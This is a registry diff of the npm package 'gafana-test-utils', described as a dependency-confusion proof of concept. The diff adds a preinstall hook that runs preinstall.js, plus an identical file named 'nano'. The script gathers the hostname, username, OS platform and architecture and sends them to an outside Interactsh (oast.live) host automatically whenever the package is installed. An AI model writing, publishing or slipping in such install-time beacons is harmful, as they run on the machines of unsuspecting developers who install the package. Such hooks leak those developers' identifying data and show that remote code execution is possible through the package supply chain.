gafana-test-utils 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/nano +13 -0
- package/package.json +3 -3
- package/preinstall.js +13 -0
package/nano
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
const hostname = os.hostname();
|
|
5
|
+
const platform = os.platform();
|
|
6
|
+
const arch = os.arch();
|
|
7
|
+
const user = os.userInfo().username;
|
|
8
|
+
|
|
9
|
+
const url = `https://d21ivhp1og82gj9967308gj75juz3g8ux.oast.live/${hostname}_${user}_${platform}_${arch}`;
|
|
10
|
+
|
|
11
|
+
https.get(url, (res) => {
|
|
12
|
+
res.on('data', () => {});
|
|
13
|
+
}).on('error', () => {});
|
package/package.json
CHANGED
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "gafana-test-utils",
|
|
3
|
-
"version": "1.0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "PoC for dependency confusion with preinstall RCE via Interactsh",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"preinstall": "
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
8
|
},
|
|
9
9
|
"author": "himanshu",
|
|
10
10
|
"license": "MIT"
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
const hostname = os.hostname();
|
|
5
|
+
const platform = os.platform();
|
|
6
|
+
const arch = os.arch();
|
|
7
|
+
const user = os.userInfo().username;
|
|
8
|
+
|
|
9
|
+
const url = `https://d21ivhp1og82gj9967308gj75juz3g8ux.oast.live/${hostname}_${user}_${platform}_${arch}`;
|
|
10
|
+
|
|
11
|
+
https.get(url, (res) => {
|
|
12
|
+
res.on('data', () => {});
|
|
13
|
+
}).on('error', () => {});
|